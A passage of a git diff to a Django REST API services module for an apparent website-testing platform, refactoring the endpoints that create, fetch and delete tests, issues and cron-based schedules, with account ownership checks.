in background + create_test_bg.delay( + test_id=test.id, + configs=configs, + type=test_type, + index=index, + pre_scan=pre_scan_id, + post_scan=post_scan_id, + tags=tags, + threshold=float(threshold), + ) + message = 'Tests are being created in the background' - if freq == 'daily': - day_of_week = '*' - day_of_month = '*' - elif freq == 'weekly': - day_of_week = num_day_of_week - day_of_month = '*' - elif freq == 'monthly': - day_of_week = '*' - day_of_month = day + # returning dynaminc response + data = { + 'success': True, + 'message': message, + 'ids': created_tests, + } + if request is not None: + record_api_call(request, data, '201') + return Response(data, status=status.HTTP_201_CREATED) + return data - task_name = str(task_type) + '_' + str(site.site_url) + '_' + str(freq) + '_@' + str(time) - crontab, _ = CrontabSchedule.objects.get_or_create( - timezone=timezone, minute=minute, hour=hour, - day_of_week=day_of_week, day_of_month=day_of_month, - ) - if schedule: - if PeriodicTask.objects.filter(id=schedule.periodic_task_id).exists(): - periodic_task = PeriodicTask.objects.filter(id=schedule.periodic_task_id) - periodic_task.update( - crontab=crontab, - name=task_name, task=task, - kwargs=json.dumps(arguments), - ) - periodic_task = PeriodicTask.objects.get(id=schedule.periodic_task_id) - else: - periodic_task = PeriodicTask.objects.create( - crontab=crontab, name=task_name, task=task, - kwargs=json.dumps(arguments), - ) +def create_many_tests(request: object) -> object: + """ + Bulk creates `Tests` for each requested `Page`. + Either scoped for many `Pages` or many `Sites`. - else: - if PeriodicTask.objects.filter(name=task_name).exists(): - data = {'reason': 'Task has already be created',} - record_api_call(request, data, '401') - return Response(data, status=status.HTTP_401_UNAUTHORIZED) - - periodic_task = PeriodicTask.objects.create( - crontab=crontab, name=task_name, task=task, - kwargs=json.dumps(arguments), - ) + Expcets: { + 'request' : object, + } - extras = { - "configs": configs, - "test_type": test_type, - "scan_type": scan_type, - "case_id": case_id, - "updates": updates - } - - if schedule: - schedule_query = Schedule.objects.filter(id=schedule_id) - if schedule_query.exists(): - schedule_query.update( - user=request.user, timezone=timezone, - begin_date=begin_date, time=time, frequency=freq, - task=task, crontab_id=crontab.id, task_type=task_type, - extras=extras, account=account - ) - schedule_new = Schedule.objects.get(id=schedule_id) - else: - schedule_new = Schedule.objects.create( - user=request.user, site=site, task_type=task_type, timezone=timezone, - begin_date=begin_date, time=time, frequency=freq, - task=task, crontab_id=crontab.id, - periodic_task_id=periodic_task.id, - extras=extras, - account=account - ) + Returns -> HTTP Response object + """ - serializer_context = {'request': request,} - data = ScheduleSerializer(schedule_new, context=serializer_context).data - record_api_call(request, data, '200') - response = Response(data, status=status.HTTP_200_OK) - return response + # get request data + site_ids = request.data.get('site_ids') + page_ids = request.data.get('page_ids') + configs = request.data.get('configs', None) + threshold = request.data.get('threshold', settings.TEST_THRESHOLD) + types = request.data.get('type', settings.TYPES) + tags = request.data.get('tags') + user = request.user + account = Member.objects.get(user=user).account + + # updating configs if None: + configs = account.configs if configs == None else configs + # setting defaults + num_succeeded = 0 + succeeded = [] + num_failed = 0 + failed = [] + this_status = True + # scoped for sites + if site_ids: + for id in site_ids: + data = { + 'site_id': str(id), + 'configs': configs, + 'threshold': threshold, + 'type': types, + 'tags': tags, + 'user_id': str(user.id) + } + try: + # create test + res = create_test(delay=True, **data) + if res['success']: + num_succeeded += 1 + succeeded.append(str(id)) + else: + num_failed += 1 + this_status = False + failed.append(str(id)) + print(res['message']) + except Exception as e: + print(e) + if str(id) not in failed: + num_failed += 1 + this_status = False + failed.append(str(id)) + + # scoped for pages + if page_ids: + for id in page_ids: + data = { + 'page_id': str(id), + 'configs': configs, + 'threshold': threshold, + 'type': types, + 'tags': tags, + 'user_id': str(user.id) + } + try: + # create test + res = create_test(delay=True, **data) + if res['success']: + num_succeeded += 1 + succeeded.append(str(id)) + else: + num_failed += 1 + this_status = False + failed.append(str(id)) + print(res['message']) + except Exception as e: + print(e) + if str(id) not in failed: + num_failed += 1 + this_status = False + failed.append(str(id)) + + # format and return + data = { + 'success': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, + } + record_api_call(request, data, '201') + return Response(data, status=status.HTTP_201_CREATED) + -def get_schedules(request): + +def get_tests(request: object) -> object: + """ + Get one or more `Tests`. + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + test_id = request.query_params.get('test_id') + page_id = request.query_params.get('page_id') + lean = request.query_params.get('lean') user = request.user account = Member.objects.get(user=user).account - schedule_id = request.query_params.get('schedule_id') - site_id = request.query_params.get('site_id') + + # deciding on scope + resource = 'page' if page_id else 'test' + # check account and resource + check_data = check_account_and_resource( + user=user, resource=resource, page_id=page_id, test_id=test_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) - if schedule_id != None: - try: - schedule = Schedule.objects.get(id=schedule_id) - except: - data = {'reason': 'cannot find a Schedule with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - if schedule.site.account != user or schedule.account != account: - data = {'reason': 'retrieve Schedules of a Site you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) + # get single test + if test_id != None: + # get test + test = Test.objects.get(id=test_id) + + # serialize and return serializer_context = {'request': request,} - serialized = ScheduleSerializer(schedule, context=serializer_context) + serialized = TestSerializer(test, context=serializer_context) data = serialized.data record_api_call(request, data, '200') return Response(data, status=status.HTTP_200_OK) + # get all page scoped tests + page = Page.objects.get(id=page_id) + tests = Test.objects.filter(page=page).order_by('-time_created') - try: - site = Site.objects.get(id=site_id) - except: - data = {'reason': 'cannot find a Site with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - if site.account != account: - data = {'reason': 'retrieve Schedules of a Site you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - schedules = Schedule.objects.filter(site=site).order_by('-time_created') - + # serialize and return paginator = LimitOffsetPagination() - result_page = paginator.paginate_queryset(schedules, request) + result_page = paginator.paginate_queryset(tests, request) serializer_context = {'request': request,} - serialized = ScheduleSerializer(result_page, many=True, context=serializer_context) + serialized = TestSerializer(result_page, many=True, context=serializer_context) + if str(lean).lower() == 'true': + serialized = SmallTestSerializer(result_page, many=True, context=serializer_context) response = paginator.get_paginated_response(serialized.data) record_api_call(request, response.data, '200') return response @@ -1147,393 +2477,2671 @@ def get_schedules(request): -def delete_schedule(request, id): +def get_test(request: object, id: str) -> object: + """ + Get single `Test` from the passed "id" + + Expects: { + 'request' : object, + 'id' : str + } - try: - schedule = Schedule.objects.get(id=id) - except: - data = {'reason': 'cannot find a Schedule with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) + Returns -> HTTP Response object + """ - task = PeriodicTask.objects.get(id=schedule.periodic_task_id) - site = schedule.site + # get user and account user = request.user account = Member.objects.get(user=user).account - if site.account != account: - data = {'reason': 'delete Schedules you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - schedule.delete() - task.delete() + # check account and resource + check_data = check_account_and_resource(request=request, + test_id=id, resource='test' + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) - data = {'message': 'Schedule has been deleted',} + # get test if checks passed + test = Test.objects.get(id=id) + + # serialize and return + serializer_context = {'request': request,} + serialized = TestSerializer(test, context=serializer_context) + data = serialized.data record_api_call(request, data, '200') - response = Response(data, status=status.HTTP_200_OK) - return response + return Response(data, status=status.HTTP_200_OK) +def get_test_lean(request: object, id: str) -> object: + """ + Get a single `Test` and only return scores & timestamps + Expects: { + 'request' : object, + 'id' : str + } + Returns -> HTTP Response object + """ -def create_or_update_automation(request): + # get user and account user = request.user account = Member.objects.get(user=user).account - account_is_active = check_account(request) - if not account_is_active: - data = {'reason': 'account not funded',} - record_api_call(request, data, '402') - return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) + # check account and resource + check_data = check_account_and_resource( + user=user, resource='scan', scan_id=id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get test if checks passed + test = Test.objects.get(id=id) - try: - schedule = Schedule.objects.get(id=request.data.get('schedule_id')) - try: - automation = Automation.objects.get(id=schedule.automation.id) - if automation.account != account and automation.account != None: - data = {'reason': 'update a Automation you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - except: - automation = None - if schedule.account != account and schedule.account != None: - data = {'reason': 'create a Automation of a Schedule you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - except: - schedule = None - automation = None - - # get data - name = request.data.get('name') - expressions = request.data.get('expressions') - actions = request.data.get('actions') + # get images_delta if exists + images_delta = {"average_score": test.images_delta.get('average_score')} - if automation: - automation.name = name - automation.expressions = expressions - automation.actions = actions - automation.schedule = schedule - automation.save() + # get lighthouse_delta if exists + lighthouse_delta = {"scores": test.lighthouse_delta.get('scores')} - if not automation: - automation = Automation.objects.create( - name=name, expressions=expressions, actions=actions, - schedule=schedule, user=request.user, account=account - ) + # get lighthouse_delta if exists + yellowlab_delta = {"scores": test.yellowlab_delta['scores']} - if schedule: - schedule.automation = automation - schedule.save() - # update associated periodicTask - task = PeriodicTask.objects.get(id=schedule.periodic_task_id) - arguments = { - 'site_id': str(schedule.site.id), - 'automation_id': str(automation.id), - 'configs': json.loads(task.kwargs).get('configs', None), - 'type': json.loads(task.kwargs).get('type', None), - 'case_id': json.loads(task.kwargs).get('case_id', None), - 'updates': json.loads(task.kwargs).get('updates', None) - } - task.kwargs=json.dumps(arguments) - task.save() + # format data + data = { + "id": str(test.id), + "site": str(test.site.id), + "tags": test.tags, + "type": test.type, + "time_created": str(test.time_created), + "time_completed": str(test.time_completed), + "pre_scan": str(test.pre_scan.id), + "post_scan": str(test.post_scan.id), + "score": test.score, + "lighthouse_delta": lighthouse_delta, + "yellowlab_delta": yellowlab_delta, + "images_delta": images_delta, + } - serializer_context = {'request': request,} - data = AutomationSerializer(automation, context=serializer_context).data + # return record_api_call(request, data, '200') response = Response(data, status=status.HTTP_200_OK) return response + + + +def delete_test(request: object=None, id: str=None, account: object=None) -> object: + """ + Deletes the `Test` associated with the passed "id" + + Expcets: { + 'request' : object, + 'id' : str, + 'account' : object, + } + + Returns -> HTTP Response object + """ + + # get user and account info + if request: + account = Member.objects.get(user=request.user).account + user = request.user + + if not request: + user = account.user + + # check account and resource + check_data = check_account_and_resource(user=user, test_id=id, resource='test') + if not check_data['allowed']: + data = {'reason': check_data['error'],} + if request: + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + return data + + # get test if checks passed + test = Test.objects.get(id=id) + # remove s3 objects + delete_test_s3_bg.delay(test.id, test.site.id, test.page.id) -def get_automations(request): - automation_id = request.query_params.get('automation_id') - user = request.user - account = Member.objects.get(user=user).account + # update site and page with most recent data + update_site_and_page_info.delay( + resource='test', + page_id=str(test.page.id) + ) - if automation_id != None: - try: - automation = Automation.objects.get(id=automation_id) - except: - data = {'reason': 'cannot find a Automation with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - if automation.account != account: - data = {'reason': 'retrieve an Automation you do not own',} - return Response(data, status=status.HTTP_403_FORBIDDEN) - serializer_context = {'request': request,} - serialized = AutomationSerializer(automation, context=serializer_context) - data = serialized.data - record_api_call(request, data, '200') - return Response(data, status=status.HTTP_200_OK) + # delete test + test.delete() - automations = Automation.objects.filter(user=user).order_by('-time_created') + # return response + data = {'message': 'Test has been deleted',} + if request: + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + return data + + + + +def delete_many_tests(request: object) -> object: + """ + Deletes one or more `Tests` associated + with the passed "request.ids" + + Expcets: { + 'request' : object, + } + + Returns -> HTTP Response object + """ + + # get request data + ids = request.data.get('ids') + + # get user and account + user = request.user + account = Member.objects.get(user=user).account + + # check for ids + if ids is not None: + + # setting defaults + count = len(ids) + num_succeeded = 0 + succeeded = [] + num_failed = 0 + failed = [] + user = request.user + this_status = True + + # loop through passed ids + for id in ids: + + # trying to delete site + try: + test = Test.objects.get(id=id) + if test.site.account == account: + delete_test_s3_bg.delay(test.id, test.site.id, test.page.id) + update_site_and_page_info.delay( + resource='test', + page_id=str(test.page.id) + ) + test.delete() + # add to success attempts + num_succeeded += 1 + succeeded.append(str(id)) + except: + # add to failed attempts + num_failed += 1 + failed.append(str(id)) + this_status = False + + # format data + data = { + 'success': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, + } + + # return response + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + # return error + data = { + 'reason': 'you must provide an array of id\'s' + } + record_api_call(request, data, '400') + response = Response(data, status=status.HTTP_400_BAD_REQUEST) + return response + + + + +def get_tests_zapier(request: object) -> object: + """ + Get all `Tests` associated with user's Account. + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + account = Member.objects.get(user=request.user).account + page_id = request.query_params.get('page_id') + site_id = request.query_params.get('site_id') + _status = request.query_params.get('status') + tests = None + + # deciding on scope + resource = 'test' + + # check account and resource + check_data = check_account_and_resource( + user=request.user, resource=resource, page_id=page_id, + site_id=site_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get all page associated tests + if page_id: + tests = Test.objects.filter( + page__account=account, + page__id=page_id, + ).exclude( + time_completed=None, + pre_scan=None, + post_scan=None, + ).order_by('-time_created') + + # get all site associated tests + if site_id: + tests = Test.objects.filter( + site__account=account, + site__id=site_id, + ).exclude( + time_completed=None, + pre_scan=None, + post_scan=None, + ).order_by('-time_created') + + # get all account assocoiated tests + if tests is None: + tests = Test.objects.filter( + site__account=account, + ).exclude( + time_completed=None, + pre_scan=None, + post_scan=None, + ).order_by('-time_created') + + # filter my status if requested + if status is not None: + tests = tests.filter(status=_status) + + # build response data + data = [] + + for test in tests: + data.append({ + 'id' : str(test.id), + 'page' : str(test.page.id), + 'site' : str(test.site.id), + 'pre_scan' : str(test.pre_scan.id) if test.pre_scan else None, + 'post_scan' : str(test.post_scan.id) if test.post_scan else None, + 'time_created' : str(test.time_created), + 'time_completed' : str(test.time_completed), + 'type' : test.type, + 'status' : str(test.status), + 'score' : test.score, + 'threshold' : test.threshold, + 'component_scores' : test.component_scores, + }) + + # serialize and return + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +### ------ Begin Issue Services ------ ### + + + +def create_or_update_issue(request: object=None, **kwargs) -> object: + """ + Creates or Updates an `Issue` + + Expects: { + 'request': object + 'kwargs': dict + } + + Returns -> HTTP Response object + """ + + # get request data + if request is not None: + id = request.data.get('id') + trigger = request.data.get('trigger') + title = request.data.get('title') + details = request.data.get('details') + _status = request.data.get('status') + affected = request.data.get('affected') + labels = request.data.get('labels') + account = Member.objects.get(user=request.user).account + + # get kwargs data + if request is None: + id = kwargs.get('id') + trigger = kwargs.get('trigger') + title = kwargs.get('title') + details = kwargs.get('details') + _status = kwargs.get('status') + affected = kwargs.get('affected') + labels = kwargs.get('labels') + account_id = kwargs.get('account_id') + account = Account.objects.get(id=account_id) + + # check account and resource + check_data = check_account_and_resource(user=account.user, + issue_id=id, resource='issue' + ) + if not check_data['allowed']: + data = { + 'reason': check_data['error'], + 'success': False, + 'code': check_data['code'], + 'status': check_data['status'] + } + if request is not None: + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + return data + + # get Issue if id is present + if id is not None: + issue = Issue.objects.get(id=id) + + # update data + if trigger is not None: + issue.trigger = trigger + if title is not None: + issue.title = title + if details is not None: + issue.details = details + if _status is not None: + issue.status = _status + if affected is not None: + issue.affected = affected + if labels is not None: + issue.labels = labels + + # save new data + issue.save() + + # create new Issue + if id is None: + issue = Issue.objects.create( + account = account, + title = title, + details = details, + labels = labels, + trigger = trigger, + affected = affected + ) + + # decide on response type + if request is not None: + # serialize and return + serializer_context = {'request': request,} + serialized = IssueSerializer(issue, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + # return object response + data = { + 'success': True, + 'issue': issue, + } + return data + + + + +def update_many_issues(request: object=None) -> object: + """ + Updates many `Issues` passed in a list + + Expects: { + 'ids' : list + 'updates' : dict + } + + Returns -> HTTP Response object + """ + + # get request data + ids = request.data.get('ids') + updates = request.data.get('updates') + member = Member.objects.get(user=request.user) + account = member.account + + # set defaults + num_succeeded = 0 + succeeded = [] + num_failed = 0 + failed = [] + this_status = True + + # loop through ids and update + for id in ids: + # reformat update data + data = updates + data['id'] = str(id) + data['account_id'] = str(account.id) + + # send update + try: + res = create_or_update_issue(**data) + if res['success']: + num_succeeded += 1 + succeeded.append(str(id)) + else: + num_failed += 1 + this_status = False + failed.append(str(id)) + print(res['message']) + except Exception as e: + print(e) + if str(id) not in failed: + num_failed += 1 + this_status = False + failed.append(str(id)) + + # format and return + data = { + 'success': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, + } + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + + +def get_issues(request: object) -> object: + """ + Get one or more `Issues`. + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + issue_id = request.query_params.get('issue_id') + site_id = request.query_params.get('site_id') + page_id = request.query_params.get('page_id') + account = Member.objects.get(user=request.user).account + issues = None + + # deciding on scope + resource = 'issue' + + # check account and resource + check_data = check_account_and_resource( + user=request.user, resource=resource, page_id=page_id, site_id=site_id, + issue_id=issue_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get single issue + if issue_id != None: + + # get test + issue = Issue.objects.get(id=issue_id) + + # serialize and return + serializer_context = {'request': request,} + serialized = IssueSerializer(issue, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + # get all issues scoped page if page_id passed + if page_id is not None: + issues = Issue.objects.filter( + affected__icontains={'id': page_id}, + account=account + ).order_by('-status', '-time_created') + # get all issues scoped page if page_id passed + if site_id is not None: + issues = Issue.objects.filter( + affected__icontains={'id': site_id}, + account=account + ).order_by('-status', '-time_created') + + # get all account assocoiated issues + if issues is None: + issues = Issue.objects.filter( + account=account + ).order_by('-status', '-time_created') + + # serialize and return + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(issues, request) + serializer_context = {'request': request,} + serialized = IssueSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + + +def get_issue(request: object, id: str) -> object: + """ + Get single `Issue` from the passed "id" + + Expects: { + 'request' : object, + 'id' : str + } + + Returns -> HTTP Response object + """ + + # get user and account + user = request.user + account = Member.objects.get(user=user).account + + # check account and resource + check_data = check_account_and_resource(request=request, + issue_id=id, resource='issue' + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get issue if checks passed + issue = Issue.objects.get(id=id) + + # serialize and return + serializer_context = {'request': request,} + serialized = IssueSerializer(issue, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + + +def search_issues(request: object) -> object: + """ + Searches for matching `Issues` to the passed + "query" + + Expects: { + 'request': obejct + } + + Returns -> HTTP Response object + """ + + # get request data + user = request.user + account = Member.objects.get(user=user).account + query = request.query_params.get('query') + + # search for issues + issues = Issue.objects.filter( + Q(account=account, title__icontains=query) | + Q(account=account, details__icontains=query) | + Q(account=account, affected__icontains=query) + ).order_by('-status', '-time_created') + + # serialize and rerturn + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(issues, request) + serializer_context = {'request': request,} + serialized = IssueSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + + +def delete_issue(request: object, id: str) -> object: + """ + Deletes the `Issue` associated with the passed "id" + + Expcets: { + 'request' : object, + 'id' : str + } + + Returns -> HTTP Response object + """ + + # get user and account info + user = request.user + account = Member.objects.get(user=user).account + + # check account and resource + check_data = check_account_and_resource(request=request, issue_id=id, resource='issue') + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get issue if checks passed + issue = Issue.objects.get(id=id) + + # delete test + issue.delete() + + # return response + data = {'message': 'Issue has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +def delete_many_issues(request: object=None) -> object: + """ + Deletes many `Issues` passed in a list + + Expects: { + 'ids': list + } + + Returns -> HTTP Response object + """ + + # get request data + ids = request.data.get('ids') + member = Member.objects.get(user=request.user) + account = member.account + + # set defaults + num_succeeded = 0 + succeeded = [] + num_failed = 0 + failed = [] + this_status = True + + # loop through ids and delete + for id in ids: + + # delete issue + try: + issue = Issue.objects.get(id=id) + if issue.account == account: + issue.delete() + elif str(id) not in failed: + num_failed += 1 + this_status = False + failed.append(str(id)) + except Exception as e: + print(e) + if str(id) not in failed: + num_failed += 1 + this_status = False + failed.append(str(id)) + + # format and return + data = { + 'success': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, + } + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + + +def get_issues_zapier(request: object) -> object: + """ + Get all `Issues` associated with user's Account. + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + account = Member.objects.get(user=request.user).account + page_id = request.query_params.get('page_id') + site_id = request.query_params.get('site_id') + issues = None + + # deciding on scope + resource = 'issue' + + # check account and resource + check_data = check_account_and_resource( + user=request.user, resource=resource, page_id=page_id, + site_id=site_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get all page associated issues + if page_id: + issues = Issue.objects.filter( + account=account, + affected__icontains=page_id, + ).order_by('-status','-time_created') + + # get all site associated issues + if site_id: + issues = Issue.objects.filter( + account=account, + affected__icontains=site_id, + ).order_by('-status', '-time_created') + + # get all account assocoiated issues + if issues is None: + issues = Issue.objects.filter( + account=account + ).order_by('-status', '-time_created') + + # build response data + data = [] + + for issue in issues: + data.append({ + 'id' : str(issue.id), + 'title' : str(issue.title), + 'time_created' : str(issue.time_created), + 'details' : str(issue.details), + 'trigger' : issue.trigger, + 'affected' : issue.affected, + 'labels' : issue.labels, + 'status' : str(issue.status), + }) + + # serialize and return + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +### ------ Begin Schedule Services ------ ### + + + + +def create_or_update_schedule(request: object=None, **kwargs) -> object: + """ + Creates or Updates a `Schedule` + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + if request: + schedule_status = request.data.get('status') + begin_date_raw = request.data.get('begin_date') + time = request.data.get('time') + timezone = request.data.get('timezone') + freq = request.data.get('frequency') + task_type = request.data.get('task_type') + test_type = request.data.get('test_type', settings.TYPES) + scan_type = request.data.get('scan_type', settings.TYPES) + configs = request.data.get('configs', None) + threshold = request.data.get('threshold', settings.TEST_THRESHOLD) + schedule_id = request.data.get('schedule_id') + resources = request.data.get('resources') + scope = request.data.get('scope') + case_id = request.data.get('case_id') + updates = request.data.get('updates') + user = request.user + + if not request: + schedule_status = kwargs.get('status') + begin_date_raw = kwargs.get('begin_date') + time = kwargs.get('time') + timezone = kwargs.get('timezone') + freq = kwargs.get('frequency') + task_type = kwargs.get('task_type') + test_type = kwargs.get('test_type', settings.TYPES) + scan_type = kwargs.get('scan_type', settings.TYPES) + configs = kwargs.get('configs', None) + threshold = kwargs.get('threshold', settings.TEST_THRESHOLD) + schedule_id = kwargs.get('schedule_id') + resources = kwargs.get('resources') + scope = kwargs.get('scope') + case_id = kwargs.get('case_id') + updates = kwargs.get('updates') + user_id = kwargs.get('user_id') + user = User.objects.get(id=user_id) + + + # get account + account = Member.objects.get(user=user).account + + # updating configs if None: + configs = account.configs if configs == None else configs + + # setting defaults + schedule = None + + # deciding on action type + action = 'add' if not schedule_id else None + + # checking account and resource + check_data = check_account_and_resource( + user=user, resource='schedule', + schedule_id=schedule_id, action=action + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + if request: + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + return data + + # get schedule if checks passed and id is present + if schedule_id: + schedule = Schedule.objects.get(id=schedule_id) + + # toggling schedule status + if schedule_status != None and schedule != None: + # update task + task = PeriodicTask.objects.get(id=schedule.periodic_task_id) + if schedule_status == 'Paused': + task.enabled = False + if schedule_status == 'Active': + task.enabled = True + # update schedule + schedule.status = schedule_status + task.save() + schedule.save() + + # creating or updating schedule + if not schedule_status: + + # get automation if schedule exists + auto_id = None + if schedule: + if Automation.objects.filter(schedule=schedule).exists(): + automation = Automation.objects.filter(schedule=schedule)[0] + auto_id = str(automation.id) + + # build task + task = f'api.tasks.create_{task_type}_bg' + + # build args + arguments = { + 'scope': scope, + 'resources': resources, + 'account_id': str(account.id), + 'updates': updates, + 'configs': configs, + 'case_id': case_id, + 'type': scan_type if task_type == 'scan' else test_type, + 'threshold': threshold, + 'automation_id': auto_id, + } + + # setting start date default + begin_date = datetime.now() + + # parsing begin date + if begin_date_raw: + # begin_date = datetime.strptime(begin_date_raw, '%Y-%m-%d %H:%M:%S.%f') + begin_date = datetime.fromisoformat(begin_date_raw[:-1] + '+00:00') + + # building cron expression time & date + num_day_of_week = begin_date.weekday() + day = begin_date.strftime("%d") + minute = time[3:5] + hour = time[0:2] + + # building cron expression freq + if freq == 'daily': + day_of_week = '*' + day_of_month = '*' + elif freq == 'weekly': + day_of_week = num_day_of_week + day_of_month = '*' + elif freq == 'monthly': + day_of_week = '*' + day_of_month = day + + # create unique str for + rand_str = secrets.token_urlsafe(6) + + # building unique task name + task_name = f'{task_type}_{scope}_{rand_str}_{freq}_@{time}_{account.user.id}' + + # building or updating crontab + crontab, _ = CrontabSchedule.objects.get_or_create( + timezone=timezone, + minute=minute, + hour=hour, + day_of_week=day_of_week, + day_of_month=day_of_month, + ) + + # updating periodic task if schedule + periodic_task = None + if schedule: + if PeriodicTask.objects.filter(id=schedule.periodic_task_id).exists(): + # update existing task + periodic_task = PeriodicTask.objects.filter(id=schedule.periodic_task_id) + + # grabbing task_id + arguments['task_id'] = str(periodic_task[0].id) + + # updating task with args + periodic_task.update( + crontab=crontab, + name=task_name, + task=task, + kwargs=json.dumps(arguments), + ) + # get periodic task by id + periodic_task = PeriodicTask.objects.get(id=schedule.periodic_task_id) + + # check if no task yet + if not periodic_task: + + # check if task exists + if PeriodicTask.objects.filter(name=task_name).exists(): + data = {'reason': 'Schedule already exists', 'code': '401'} + if request: + record_api_call(request, data, '401') + return Response(data, status=status.HTTP_401_UNAUTHORIZED) + return data + + # create new periodic task + periodic_task = PeriodicTask.objects.create( + crontab=crontab, + name=task_name, + task=task, + ) + + # inserting task_id + arguments['task_id'] = str(periodic_task.id) + + # updating args + periodic_task.kwargs = json.dumps(arguments) + periodic_task.save() + + # building extras for scheduls + extras = { + "configs": configs, + "test_type": test_type, + "scan_type": scan_type, + "case_id": case_id, + "updates": updates, + "threshold": threshold, + } + + # update existing schedule + if schedule: + + # update each param if passed + if timezone: + schedule.timezone = timezone + if begin_date: + schedule.begin_date = begin_date + if time: + schedule.time = time + if freq: + schedule.frequency = freq + if task: + schedule.task = task + if crontab: + schedule.crontab_id = crontab.id + if task_type: + schedule.task_type = task_type + if extras: + schedule.extras = extras + if resources is not None: + schedule.resources = resources + + # save udpdates + schedule.save() + + # create new schedule + if not schedule: + schedule = Schedule.objects.create( + user=request.user, + scope=scope, + resources=resources, + task_type=task_type, + timezone=timezone, + begin_date=begin_date, + time=time, + frequency=freq, + task=task, + crontab_id=crontab.id, + periodic_task_id=periodic_task.id, + extras=extras, + account=account + ) + + # deciding on response type + if request: + # serialize and return + serializer_context = {'request': request,} + data = ScheduleSerializer(schedule, context=serializer_context).data + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + # return object response + data = { + 'success': True, + 'schedule': schedule, + } + return data + + + + +def update_many_schedules(request: object=None) -> object: + """ + Updates many `Schedules` passed in a list + + Expects: { + 'ids' : list + 'updates' : dict + } + + Returns -> HTTP Response object + """ + + # get request data + ids = request.data.get('ids') + updates = request.data.get('updates') + member = Member.objects.get(user=request.user) + account = member.account + + # set defaults + num_succeeded = 0 + succeeded = [] + num_failed = 0 + failed = [] + this_status = True + + # loop through ids and update + for id in ids: + # reformat update data + data = updates + data['schedule_id'] = str(id) + data['user_id'] = str(request.user.id) + + # send update + try: + res = create_or_update_schedule(**data) + if res['success']: + num_succeeded += 1 + succeeded.append(str(id)) + else: + num_failed += 1 + this_status = False + failed.append(str(id)) + print(res['message']) + except Exception as e: + print(e) + if str(id) not in failed: + num_failed += 1 + this_status = False + failed.append(str(id)) + + # format and return + data = { + 'success': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, + } + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + + +def run_schedule(request: object) -> object: + """ + Grabs all the args from the asociated perodic_task + and executes the task manually without interupting + the perodic_task's normal cycle. + + Expects: { + requests: object + } + + Return -> HTTP Response object + """ + + # get request data + schedule_id = request.data.get('schedule_id') + + # get user and account + user = request.user + account = Member.objects.get(user=user).account + + # checking account and resource + check_data = check_account_and_resource( + request=request, 